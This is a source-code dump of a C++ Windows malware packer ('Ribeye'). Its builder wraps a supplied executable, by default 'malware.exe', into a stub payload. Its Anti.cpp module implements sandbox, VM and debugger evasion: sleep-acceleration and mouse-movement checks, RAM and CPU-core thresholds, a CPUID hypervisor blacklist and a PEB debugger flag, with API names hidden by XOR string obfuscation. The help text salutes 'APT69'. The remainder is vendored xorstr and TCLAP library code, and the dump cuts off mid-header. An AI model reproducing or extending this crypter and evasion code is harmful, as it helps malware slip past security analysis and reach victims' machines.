143 | printf("[+] Found coconutz marker at %x from %x [offset: %d] with string %s\n", marker, (uintptr_t)bone_buffer, offset, marker); 144 | 145 | memcpy(bone_buffer + offset, &coconut, sizeof(coconut)); 146 | 147 | std::ofstream outfile(payload_output, std::ofstream::binary); 148 | 149 | outfile.write((const char*)bone_buffer, bone_length); 150 | 151 | printf("[+] Check for %s, that is ur payload :D\n", payload_output.data()); 152 | 153 | return 1; 154 | } 155 | 156 | int main(int argc, char** argv) 157 | { 158 | try { 159 | 160 | // Define the command line object, and insert a message 161 | // that describes the program. The "Command description message" 162 | // is printed last in the help text. The second argument is the 163 | // delimiter (usually space) and the last one is the version number. 164 | // The CmdLine object parses the argv array based on the Arg objects 165 | // that it contains. 166 | 167 | 168 | // MESSAGE DELIMITER VERSION 169 | TCLAP::CmdLine cmd(R"(Shoutout to APT69 and the brothers that are in it. https://twitter.com/TomahawkApt69 )", ' ', "0.1"); 170 | 171 | TCLAP::ValueArg filepath("f", "file", "Path to file to execute", true, "C:\\Users\\Dev\\Desktop\\malware.exe", "string"); 172 | TCLAP::ValueArg outputname("o", "output", "Output file name", true, "ribeye.exe", "string"); 173 | TCLAP::ValueArg parameters("g", "param", "Parameter to pass to payload", false, "", "string"); 174 | TCLAP::ValueArg sleeptime("t", "sleeptime", "How long to sleep for (in ms) if -s is enabled", false , 5000, "integer"); 175 | 176 | // Add the argument nameArg to the CmdLine object. The CmdLine object 177 | // uses this Arg to parse the command line. 178 | cmd.add(filepath); 179 | cmd.add(outputname); 180 | cmd.add(sleeptime); 181 | cmd.add(parameters); 182 | 183 | TCLAP::SwitchArg bAll("e", "all", "Enable all checks with default values", cmd, false); 184 | TCLAP::SwitchArg bVirtual("v", "vm", "Detect VM using CPUID", cmd, false); 185 | TCLAP::SwitchArg bSleep("s", "sleep", "Sleep to evade sandbox", cmd, false); 186 | TCLAP::SwitchArg bPrime("p", "prime", "Prime calculation to evade sandbox", cmd, false); 187 | TCLAP::SwitchArg bMouse("m", "mouse", "Check mouse movement, evade sandbox", cmd, false); 188 | TCLAP::SwitchArg bAccel("a", "accel", "Check if sleep is being accelerated, evade sandbox", cmd, false); 189 | TCLAP::SwitchArg bDebugger("d", "debugger", "Check if we are being debugged, anti debug", cmd, false); 190 | TCLAP::SwitchArg bRam("r", "ram", "Check RAM size, anti VM", cmd, false); 191 | TCLAP::SwitchArg bCore("c", "core", "Check CPU core count, anti VM", cmd, false); 192 | 193 | // Parse the argv array. 194 | cmd.parse(argc, argv); 195 | 196 | 197 | if (bAll.getValue()) 198 | { 199 | coconut.sleep = true; 200 | coconut.sleepTime = 7000; 201 | coconut.antivm = true; 202 | coconut.prime = true; 203 | coconut.mouse = true; 204 | coconut.ram = true; 205 | coconut.acceleratedsleep = true; 206 | coconut.debugger = true; 207 | coconut.cpu_core = true; 208 | } 209 | else 210 | { 211 | coconut.sleep = bSleep.getValue(); 212 | coconut.sleepTime = sleeptime.getValue(); 213 | coconut.antivm = bVirtual.getValue(); 214 | coconut.prime = bPrime.getValue(); 215 | coconut.mouse = bMouse.getValue(); 216 | coconut.acceleratedsleep = bAccel.getValue(); 217 | coconut.debugger = bDebugger.getValue(); 218 | coconut.ram = bRam.getValue(); 219 | coconut.cpu_core = bCore.getValue();; 220 | 221 | } 222 | 223 | std::string targetFile = filepath.getValue(); 224 | 225 | 226 | writeShellCode(targetFile.data(), outputname.getValue(), parameters.getValue()); 227 | 228 | } 229 | catch (TCLAP::ArgException &e) // catch any exceptions 230 | { 231 | std::cerr << "error: " << e.error() << " for arg " << e.argId() << std::endl; 232 | } 233 | 234 | } -------------------------------------------------------------------------------- /RibeyeBone/Anti.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "ImportHandler.h" 7 | #include "xorstr.hpp" 8 | #include "Anti.h" 9 | 10 | typedef NTSTATUS(WINAPI *pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER); 11 | typedef VOID(WINAPI * pSleep)(IN DWORD); 12 | typedef VOID(WINAPI * pGSI)(IN LPSYSTEM_INFO); 13 | typedef BOOL(WINAPI * pMemoryStatus)(IN LPMEMORYSTATUSEX); 14 | typedef DWORD(WINAPI * pNtQuerySystemInformation)(IN PVOID, IN DWORD, IN PDWORD); 15 | typedef BOOL(WINAPI * pGetCursorPos)(IN LPPOINT); 16 | 17 | #define LOWORD(_dw) ((WORD)(((DWORD_PTR)(_dw)) & 0xffff)) 18 | #define HIWORD(_dw) ((WORD)((((DWORD_PTR)(_dw)) >> 16) & 0xffff)) 19 | #define LODWORD(_qw) ((DWORD)(_qw)) 20 | #define HIDWORD(_qw) ((DWORD)(((_qw) >> 32) & 0xffffffff)) 21 | 22 | int prime(int loopCount) 23 | { 24 | int prime_temp = 0; 25 | for (int num = 1; num <= 500000; num++) { 26 | int count = 0; 27 | for (int i = 2; i <= num / 2; i++) { 28 | if (num%i == 0) { 29 | count++; 30 | break; 31 | } 32 | } 33 | 34 | if (count == 0 && num != 1) 35 | { 36 | prime_temp = num; 37 | } 38 | } 39 | return prime_temp; 40 | } 41 | 42 | int ntSleep(int milisecond) 43 | { 44 | LARGE_INTEGER DelayInterval; 45 | 46 | char* NtApi = xorstr("NtDelayExecution").crypt_get(); //{ 'N', 't', 'D', 'e', 'l', 'a', 'y', 'E', 'x', 'e', 'c', 'u', 't', 'i', 'o', 'n', '\0'}; 47 | 48 | char* ModuleN = xorstr("ntdll.dll").crypt_get(); 49 | 50 | auto NtDelayExecution = static_cast(GetImportB(ModuleN, NtApi)); 51 | 52 | int delayInMillis_divided = milisecond / 1000; 53 | 54 | LONGLONG llDelay = delayInMillis_divided * 10000LL; 55 | DelayInterval.QuadPart = -llDelay; 56 | 57 | for (int i = 0; i < 1000; i++) { 58 | NtDelayExecution(FALSE, &DelayInterval); 59 | } 60 | 61 | return FALSE; 62 | } 63 | 64 | bool chk_acceleratedsleep() 65 | { 66 | const char* NtApi = xorstr("Sleep").crypt_get(); //{ 'S', 'l', 'e', 'e','p', '\0' }; 67 | 68 | const char* ModuleN = xorstr("KERNEL32.DLL").crypt_get(); 69 | 70 | auto SleepFunc = static_cast(GetImportB(ModuleN, NtApi)); 71 | 72 | auto start_s = clock(); 73 | 74 | // use normal sleep to make sure sleep is being messed with 75 | SleepFunc(10000); 76 | 77 | auto end_s = clock(); 78 | 79 | auto dif = difftime(end_s, start_s); 80 | 81 | if (dif < 10000.f) 82 | { 83 | return true; 84 | } 85 | 86 | return false; 87 | } 88 | 89 | bool chk_mouse() 90 | { 91 | POINT Cursor_One; 92 | 93 | char * NtApi = xorstr("GetCursorPos").crypt_get(); 94 | 95 | char* ModuleN = xorstr("USER32.dll").crypt_get(); 96 | 97 | auto GetCursorFunc = static_cast(GetImportB(ModuleN, NtApi)); 98 | 99 | if (GetCursorFunc(&Cursor_One)) // Not sure if ONEPARAM_ROUTINE_GETCURSORPOS is static across all windows 100 | { 101 | ntSleep(5000); 102 | 103 | POINT Cursor_Two; 104 | if (GetCursorFunc(&Cursor_Two)) 105 | { 106 | if (Cursor_One.x != Cursor_Two.x || Cursor_One.y != Cursor_Two.y) 107 | return false; 108 | } 109 | } 110 | return true; 111 | } 112 | 113 | 114 | bool chk_dbg() 115 | { 116 | #if _WIN64 117 | return *(BYTE*)(__readgsqword(0x60) + 2); 118 | 119 | #elif _WIN32 120 | return *(BYTE*)(__readfsdword(0x30) + 2); 121 | #endif 122 | } 123 | 124 | bool chk_ram() 125 | { 126 | MEMORYSTATUSEX status; 127 | status.dwLength = sizeof(status); 128 | 129 | const char* NtApi = xorstr("GlobalMemoryStatusEx").crypt_get(); //{ 'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x', '\0' }; 130 | 131 | char* ModuleN = xorstr("USER32.dll").crypt_get(); 132 | 133 | auto mGMS = static_cast(GetImportB(ModuleN, NtApi)); 134 | 135 | mGMS(&status); 136 | 137 | if(status.ullTotalPhys >= 1500000000) 138 | return false; 139 | 140 | return true; 141 | } 142 | 143 | bool chk_cores() 144 | { 145 | SYSTEM_INFO systeminfo; 146 | unsigned long bytesreturned; 147 | 148 | const char* NtApi = xorstr("GetSystemInfo").crypt_get(); //{ 'G', 'e', 't', 'S', 'y', 's', 't', 'e', 'm', 'I', 'n', 'f', 'o', '\0' }; 149 | 150 | const char* ModuleN = xorstr("KERNELBASE.dll").crypt_get(); //{ 'K', 'E', 'R', 'N', 'E', 'L', 'B', 'A', 'S', 'E','.', 'd', 'l', 'l', '\0' }; 151 | 152 | auto GSIfunc = static_cast(GetImportB(ModuleN, NtApi)); 153 | 154 | GSIfunc(&systeminfo); 155 | 156 | if (systeminfo.dwNumberOfProcessors > 1) 157 | return false; 158 | 159 | return true; 160 | } 161 | 162 | //const wchar_t* szBlacklistedHypervisors[] = { 163 | // (xorstr(L"KVMKVMKVM\0\0\0").crypt_get()), /* KVM */ 164 | // (xorstr(L"Microsoft Hv").crypt_get()), /* Microsoft Hyper-V or Windows Virtual PC */ 165 | // (xorstr(L"VMwareVMware").crypt_get()), /* VMware */ 166 | // (xorstr(L"XenVMMXenVMM").crypt_get()), /* Xen */ 167 | // (xorstr(L"prl hyperv ").crypt_get()), /* Parallels */ 168 | // (xorstr(L"VBoxVBoxVBox").crypt_get()), /* VirtualBox */ 169 | //}; 170 | WCHAR* ascii_to_wide_str(CHAR* lpMultiByteStr) 171 | { 172 | 173 | /* Get the required size */ 174 | INT iNumChars = MultiByteToWideChar(CP_ACP, 0, lpMultiByteStr, -1, NULL, 0); 175 | 176 | /* Allocate new wide string */ 177 | 178 | SIZE_T Size = (1 + iNumChars) * sizeof(WCHAR); 179 | 180 | WCHAR* lpWideCharStr = reinterpret_cast(malloc(Size)); 181 | 182 | if (lpWideCharStr) { 183 | SecureZeroMemory(lpWideCharStr, Size); 184 | /* Do the conversion */ 185 | iNumChars = MultiByteToWideChar(CP_ACP, 0, lpMultiByteStr, -1, lpWideCharStr, iNumChars); 186 | } 187 | return lpWideCharStr; 188 | } 189 | 190 | BOOL cpuid_hypervisor_vendor() 191 | { 192 | INT CPUInfo[4] = { -1 }; 193 | CHAR szHypervisorVendor[0x40]; 194 | WCHAR* pwszConverted; 195 | 196 | BOOL bResult = FALSE; 197 | 198 | const TCHAR* szBlacklistedHypervisors[] = { 199 | _T("KVMKVMKVM\0\0\0"), /* KVM */ 200 | _T("Microsoft Hv"), /* Microsoft Hyper-V or Windows Virtual PC */ 201 | _T("VMwareVMware"), /* VMware */ 202 | _T("XenVMMXenVMM"), /* Xen */ 203 | _T("prl hyperv "), /* Parallels */ 204 | _T("VBoxVBoxVBox"), /* VirtualBox */ 205 | }; 206 | WORD dwlength = sizeof(szBlacklistedHypervisors) / sizeof(szBlacklistedHypervisors[0]); 207 | 208 | // __cpuid with an InfoType argument of 0 returns the number of 209 | // valid Ids in CPUInfo[0] and the CPU identification string in 210 | // the other three array elements. The CPU identification string is 211 | // not in linear order. The code below arranges the information 212 | // in a human readable form. 213 | __cpuid(CPUInfo, 0x40000000); 214 | memset(szHypervisorVendor, 0, sizeof(szHypervisorVendor)); 215 | memcpy(szHypervisorVendor, CPUInfo + 1, 12); 216 | 217 | for (int i = 0; i < dwlength; i++) 218 | { 219 | pwszConverted = ascii_to_wide_str(szHypervisorVendor); 220 | if (pwszConverted) { 221 | 222 | bResult = (_tcscmp(pwszConverted, szBlacklistedHypervisors[i]) == 0); 223 | 224 | 225 | 226 | free(pwszConverted); 227 | 228 | if (bResult) 229 | return TRUE; 230 | } 231 | } 232 | 233 | return FALSE; 234 | } 235 | NTSTATUS ChangePageProtection(IN HANDLE process, IN OUT PVOID baseAddress, IN OUT PULONG size, IN ULONG newProtection, OUT PULONG oldProtection) { 236 | typedef NTSTATUS(WINAPI * tNtPVM)(IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); 237 | 238 | tNtPVM ntProtectVirtualMemory = nullptr; 239 | 240 | // Initialize address of ntdll.NtProtectVirtualMemory. 241 | if (ntProtectVirtualMemory == nullptr) { 242 | 243 | const char* NtApi = xorstr("NtProtectVirtualMemory").crypt_get(); //{ 'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' }; 244 | 245 | char* ModuleN = xorstr("ntdll.dll").crypt_get(); //{ 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' }; 246 | 247 | ntProtectVirtualMemory = static_cast(GetImportB(ModuleN, NtApi)); 248 | 249 | if (ntProtectVirtualMemory == nullptr) return STATUS_ENTRYPOINT_NOT_FOUND; 250 | } 251 | 252 | return ntProtectVirtualMemory(process, &baseAddress, (PULONG)&size, newProtection, oldProtection); 253 | } -------------------------------------------------------------------------------- /RibeyeBone/xorstr.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2017 - 2018 Justas Masiulis 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #ifndef JM_XORSTR_HPP 18 | #define JM_XORSTR_HPP 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #define xorstr(str) \ 26 | ::jm::make_xorstr( \ 27 | []() { return str; }, \ 28 | std::make_index_sequence{}, \ 29 | std::make_index_sequence<::jm::detail::_buffer_size()>{}) 30 | #define xorstr_(str) xorstr(str).crypt_get() 31 | 32 | #ifdef _MSC_VER 33 | #define XORSTR_FORCEINLINE __forceinline 34 | #else 35 | #define XORSTR_FORCEINLINE __attribute__((always_inline)) 36 | #endif 37 | 38 | // you can define this macro to get possibly faster code on gcc/clang 39 | // at the expense of constants being put into data section. 40 | #if !defined(XORSTR_ALLOW_DATA) 41 | // MSVC - no volatile 42 | // GCC and clang - volatile everywhere 43 | #if defined(__clang__) || defined(__GNUC__) 44 | #define XORSTR_VOLATILE volatile 45 | #endif 46 | 47 | #endif 48 | #ifndef XORSTR_VOLATILE 49 | #define XORSTR_VOLATILE 50 | #endif 51 | 52 | namespace jm { 53 | 54 | namespace detail { 55 | 56 | template 57 | struct unsigned_; 58 | 59 | template<> 60 | struct unsigned_<1> { 61 | using type = std::uint8_t; 62 | }; 63 | template<> 64 | struct unsigned_<2> { 65 | using type = std::uint16_t; 66 | }; 67 | template<> 68 | struct unsigned_<4> { 69 | using type = std::uint32_t; 70 | }; 71 | 72 | template 73 | struct pack_value_type { 74 | using type = decltype(C); 75 | }; 76 | 77 | template 78 | constexpr std::size_t _buffer_size() 79 | { 80 | return ((Size / 16) + (Size % 16 != 0)) * 2; 81 | } 82 | 83 | template 84 | struct tstring_ { 85 | using value_type = typename pack_value_type::type; 86 | constexpr static std::size_t size = sizeof...(Cs); 87 | constexpr static value_type str[size] = { Cs... }; 88 | 89 | constexpr static std::size_t buffer_size = _buffer_size(); 90 | constexpr static std::size_t buffer_align = 91 | #ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS 92 | ((sizeof(str) > 16) ? 32 : 16); 93 | #else 94 | 16; 95 | #endif 96 | }; 97 | 98 | template 99 | struct _ki { 100 | constexpr static std::size_t idx = I; 101 | constexpr static std::uint64_t key = K; 102 | }; 103 | 104 | template 105 | constexpr std::uint32_t key4() noexcept 106 | { 107 | std::uint32_t value = Seed; 108 | for (char c : __TIME__) 109 | value = static_cast((value ^ c) * 16777619ull); 110 | return value; 111 | } 112 | 113 | template 114 | constexpr std::uint64_t key8() 115 | { 116 | constexpr auto first_part = key4<2166136261 + S>(); 117 | constexpr auto second_part = key4(); 118 | return (static_cast(first_part) << 32) | second_part; 119 | } 120 | 121 | // clang and gcc try really hard to place the constants in data 122 | // sections. to counter that there was a need to create an intermediate 123 | // constexpr string and then copy it into a non constexpr container with 124 | // volatile storage so that the constants would be placed directly into 125 | // code. 126 | template 127 | struct string_storage { 128 | std::uint64_t storage[T::buffer_size]; 129 | 130 | XORSTR_FORCEINLINE constexpr string_storage() noexcept : storage{ Keys... } 131 | { 132 | using cast_type = 133 | typename unsigned_::type; 134 | constexpr auto value_size = sizeof(typename T::value_type); 135 | // puts the string into 64 bit integer blocks in a constexpr 136 | // fashion 137 | for (std::size_t i = 0; i < T::size; ++i) 138 | storage[i / (8 / value_size)] ^= 139 | (std::uint64_t{ static_cast(T::str[i]) } 140 | << ((i % (8 / value_size)) * 8 * value_size)); 141 | } 142 | }; 143 | 144 | } // namespace detail 145 | 146 | template 147 | class xor_string { 148 | alignas(T::buffer_align) std::uint64_t _storage[T::buffer_size]; 149 | 150 | // _single functions needed because MSVC crashes without them 151 | XORSTR_FORCEINLINE void _crypt_256_single(const std::uint64_t* keys, 152 | std::uint64_t* storage) noexcept 153 | 154 | { 155 | _mm256_store_si256( 156 | reinterpret_cast<__m256i*>(storage), 157 | _mm256_xor_si256( 158 | _mm256_load_si256(reinterpret_cast(storage)), 159 | _mm256_load_si256(reinterpret_cast(keys)))); 160 | } 161 | 162 | template 163 | XORSTR_FORCEINLINE void _crypt_256(const std::uint64_t* keys, 164 | std::index_sequence) noexcept 165 | { 166 | (_crypt_256_single(keys + Idxs * 4, _storage + Idxs * 4), ...); 167 | } 168 | 169 | XORSTR_FORCEINLINE void _crypt_128_single(const std::uint64_t* keys, 170 | std::uint64_t* storage) noexcept 171 | { 172 | _mm_store_si128( 173 | reinterpret_cast<__m128i*>(storage), 174 | _mm_xor_si128(_mm_load_si128(reinterpret_cast(storage)), 175 | _mm_load_si128(reinterpret_cast(keys)))); 176 | } 177 | 178 | template 179 | XORSTR_FORCEINLINE void _crypt_128(const std::uint64_t* keys, 180 | std::index_sequence) noexcept 181 | { 182 | (_crypt_128_single(keys + Idxs * 2, _storage + Idxs * 2), ...); 183 | } 184 | 185 | // loop generates vectorized code which places constants in data dir 186 | XORSTR_FORCEINLINE constexpr void _copy() noexcept 187 | { 188 | constexpr detail::string_storage storage; 189 | static_cast(std::initializer_list{ 190 | (const_cast(_storage))[Keys::idx] = 191 | storage.storage[Keys::idx]... }); 192 | } 193 | 194 | public: 195 | using value_type = typename T::value_type; 196 | using size_type = std::size_t; 197 | using pointer = value_type *; 198 | using const_pointer = const pointer; 199 | 200 | XORSTR_FORCEINLINE xor_string() noexcept { _copy(); } 201 | 202 | XORSTR_FORCEINLINE constexpr size_type size() const noexcept 203 | { 204 | return T::size - 1; 205 | } 206 | 207 | XORSTR_FORCEINLINE void crypt() noexcept 208 | { 209 | alignas(T::buffer_align) std::uint64_t keys[T::buffer_size]; 210 | static_cast(std::initializer_list{ 211 | (const_cast(keys))[Keys::idx] = 212 | Keys::key... }); 213 | 214 | _copy(); 215 | 216 | #ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS 217 | _crypt_256(keys, std::make_index_sequence{}); 218 | if constexpr (T::buffer_size % 4 != 0) 219 | _crypt_128(keys, std::index_sequence{}); 220 | #else 221 | _crypt_128(keys, std::make_index_sequence{}); 222 | #endif 223 | } 224 | 225 | XORSTR_FORCEINLINE const_pointer get() const noexcept 226 | { 227 | return reinterpret_cast(_storage); 228 | } 229 | 230 | XORSTR_FORCEINLINE const_pointer crypt_get() noexcept 231 | { 232 | crypt(); 233 | return reinterpret_cast(_storage); 234 | } 235 | }; 236 | 237 | template 238 | XORSTR_FORCEINLINE constexpr auto 239 | make_xorstr(Tstr str_lambda, 240 | std::index_sequence, 241 | std::index_sequence) noexcept 242 | { 243 | return xor_string, 244 | detail::_ki()>...>{}; 245 | } 246 | 247 | } // namespace jm 248 | 249 | #endif // include guard -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/SwitchArg.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: SwitchArg.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno. 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | 24 | #ifndef TCLAP_SWITCH_ARG_H 25 | #define TCLAP_SWITCH_ARG_H 26 | 27 | #include 28 | #include 29 | 30 | #include "Arg.h" 31 | 32 | namespace TCLAP { 33 | 34 | /** 35 | * A simple switch argument. If the switch is set on the command line, then 36 | * the getValue method will return the opposite of the default value for the 37 | * switch. 38 | */ 39 | class SwitchArg : public Arg 40 | { 41 | protected: 42 | 43 | /** 44 | * The value of the switch. 45 | */ 46 | bool _value; 47 | 48 | /** 49 | * Used to support the reset() method so that ValueArg can be 50 | * reset to their constructed value. 51 | */ 52 | bool _default; 53 | 54 | public: 55 | 56 | /** 57 | * SwitchArg constructor. 58 | * \param flag - The one character flag that identifies this 59 | * argument on the command line. 60 | * \param name - A one word name for the argument. Can be 61 | * used as a long flag on the command line. 62 | * \param desc - A description of what the argument is for or 63 | * does. 64 | * \param def - The default value for this Switch. 65 | * \param v - An optional visitor. You probably should not 66 | * use this unless you have a very good reason. 67 | */ 68 | SwitchArg(const std::string& flag, 69 | const std::string& name, 70 | const std::string& desc, 71 | bool def = false, 72 | Visitor* v = NULL); 73 | 74 | 75 | /** 76 | * SwitchArg constructor. 77 | * \param flag - The one character flag that identifies this 78 | * argument on the command line. 79 | * \param name - A one word name for the argument. Can be 80 | * used as a long flag on the command line. 81 | * \param desc - A description of what the argument is for or 82 | * does. 83 | * \param parser - A CmdLine parser object to add this Arg to 84 | * \param def - The default value for this Switch. 85 | * \param v - An optional visitor. You probably should not 86 | * use this unless you have a very good reason. 87 | */ 88 | SwitchArg(const std::string& flag, 89 | const std::string& name, 90 | const std::string& desc, 91 | CmdLineInterface& parser, 92 | bool def = false, 93 | Visitor* v = NULL); 94 | 95 | 96 | /** 97 | * Handles the processing of the argument. 98 | * This re-implements the Arg version of this method to set the 99 | * _value of the argument appropriately. 100 | * \param i - Pointer the the current argument in the list. 101 | * \param args - Mutable list of strings. Passed 102 | * in from main(). 103 | */ 104 | virtual bool processArg(int* i, std::vector& args); 105 | 106 | /** 107 | * Checks a string to see if any of the chars in the string 108 | * match the flag for this Switch. 109 | */ 110 | bool combinedSwitchesMatch(std::string& combined); 111 | 112 | /** 113 | * Returns bool, whether or not the switch has been set. 114 | */ 115 | bool getValue(); 116 | 117 | virtual void reset(); 118 | 119 | private: 120 | /** 121 | * Checks to see if we've found the last match in 122 | * a combined string. 123 | */ 124 | bool lastCombined(std::string& combined); 125 | 126 | /** 127 | * Does the common processing of processArg. 128 | */ 129 | void commonProcessing(); 130 | }; 131 | 132 | ////////////////////////////////////////////////////////////////////// 133 | //BEGIN SwitchArg.cpp 134 | ////////////////////////////////////////////////////////////////////// 135 | inline SwitchArg::SwitchArg(const std::string& flag, 136 | const std::string& name, 137 | const std::string& desc, 138 | bool default_val, 139 | Visitor* v ) 140 | : Arg(flag, name, desc, false, false, v), 141 | _value( default_val ), 142 | _default( default_val ) 143 | { } 144 | 145 | inline SwitchArg::SwitchArg(const std::string& flag, 146 | const std::string& name, 147 | const std::string& desc, 148 | CmdLineInterface& parser, 149 | bool default_val, 150 | Visitor* v ) 151 | : Arg(flag, name, desc, false, false, v), 152 | _value( default_val ), 153 | _default(default_val) 154 | { 155 | parser.add( this ); 156 | } 157 | 158 | inline bool SwitchArg::getValue() { return _value; } 159 | 160 | inline bool SwitchArg::lastCombined(std::string& combinedSwitches ) 161 | { 162 | for ( unsigned int i = 1; i < combinedSwitches.length(); i++ ) 163 | if ( combinedSwitches[i] != Arg::blankChar() ) 164 | return false; 165 | 166 | return true; 167 | } 168 | 169 | inline bool SwitchArg::combinedSwitchesMatch(std::string& combinedSwitches ) 170 | { 171 | // make sure this is actually a combined switch 172 | if ( combinedSwitches.length() > 0 && 173 | combinedSwitches[0] != Arg::flagStartString()[0] ) 174 | return false; 175 | 176 | // make sure it isn't a long name 177 | if ( combinedSwitches.substr( 0, Arg::nameStartString().length() ) == 178 | Arg::nameStartString() ) 179 | return false; 180 | 181 | // make sure the delimiter isn't in the string 182 | if ( combinedSwitches.find_first_of( Arg::delimiter() ) != std::string::npos ) 183 | return false; 184 | 185 | // ok, we're not specifying a ValueArg, so we know that we have 186 | // a combined switch list. 187 | for ( unsigned int i = 1; i < combinedSwitches.length(); i++ ) 188 | if ( _flag.length() > 0 && 189 | combinedSwitches[i] == _flag[0] && 190 | _flag[0] != Arg::flagStartString()[0] ) 191 | { 192 | // update the combined switches so this one is no longer present 193 | // this is necessary so that no unlabeled args are matched 194 | // later in the processing. 195 | //combinedSwitches.erase(i,1); 196 | combinedSwitches[i] = Arg::blankChar(); 197 | return true; 198 | } 199 | 200 | // none of the switches passed in the list match. 201 | return false; 202 | } 203 | 204 | inline void SwitchArg::commonProcessing() 205 | { 206 | if ( _xorSet ) 207 | throw(CmdLineParseException( 208 | "Mutually exclusive argument already set!", toString())); 209 | 210 | if ( _alreadySet ) 211 | throw(CmdLineParseException("Argument already set!", toString())); 212 | 213 | _alreadySet = true; 214 | 215 | if ( _value == true ) 216 | _value = false; 217 | else 218 | _value = true; 219 | 220 | _checkWithVisitor(); 221 | } 222 | 223 | inline bool SwitchArg::processArg(int *i, std::vector& args) 224 | { 225 | if ( _ignoreable && Arg::ignoreRest() ) 226 | return false; 227 | 228 | // if the whole string matches the flag or name string 229 | if ( argMatches( args[*i] ) ) 230 | { 231 | commonProcessing(); 232 | 233 | return true; 234 | } 235 | // if a substring matches the flag as part of a combination 236 | else if ( combinedSwitchesMatch( args[*i] ) ) 237 | { 238 | // check again to ensure we don't misinterpret 239 | // this as a MultiSwitchArg 240 | if ( combinedSwitchesMatch( args[*i] ) ) 241 | throw(CmdLineParseException("Argument already set!", 242 | toString())); 243 | 244 | commonProcessing(); 245 | 246 | // We only want to return true if we've found the last combined 247 | // match in the string, otherwise we return true so that other 248 | // switches in the combination will have a chance to match. 249 | return lastCombined( args[*i] ); 250 | } 251 | else 252 | return false; 253 | } 254 | 255 | inline void SwitchArg::reset() 256 | { 257 | Arg::reset(); 258 | _value = _default; 259 | } 260 | ////////////////////////////////////////////////////////////////////// 261 | //End SwitchArg.cpp 262 | ////////////////////////////////////////////////////////////////////// 263 | 264 | } //namespace TCLAP 265 | 266 | #endif 267 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/DocBookOutput.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: DocBookOutput.h 6 | * 7 | * Copyright (c) 2004, Michael E. Smoot 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | #ifndef TCLAP_DOCBOOKOUTPUT_H 24 | #define TCLAP_DOCBOOKOUTPUT_H 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include "CmdLineInterface.h" 33 | #include "CmdLineOutput.h" 34 | #include "XorHandler.h" 35 | #include "Arg.h" 36 | 37 | namespace TCLAP { 38 | 39 | /** 40 | * A class that generates DocBook output for usage() method for the 41 | * given CmdLine and its Args. 42 | */ 43 | class DocBookOutput : public CmdLineOutput 44 | { 45 | 46 | public: 47 | 48 | /** 49 | * Prints the usage to stdout. Can be overridden to 50 | * produce alternative behavior. 51 | * \param c - The CmdLine object the output is generated for. 52 | */ 53 | virtual void usage(CmdLineInterface& c); 54 | 55 | /** 56 | * Prints the version to stdout. Can be overridden 57 | * to produce alternative behavior. 58 | * \param c - The CmdLine object the output is generated for. 59 | */ 60 | virtual void version(CmdLineInterface& c); 61 | 62 | /** 63 | * Prints (to stderr) an error message, short usage 64 | * Can be overridden to produce alternative behavior. 65 | * \param c - The CmdLine object the output is generated for. 66 | * \param e - The ArgException that caused the failure. 67 | */ 68 | virtual void failure(CmdLineInterface& c, 69 | ArgException& 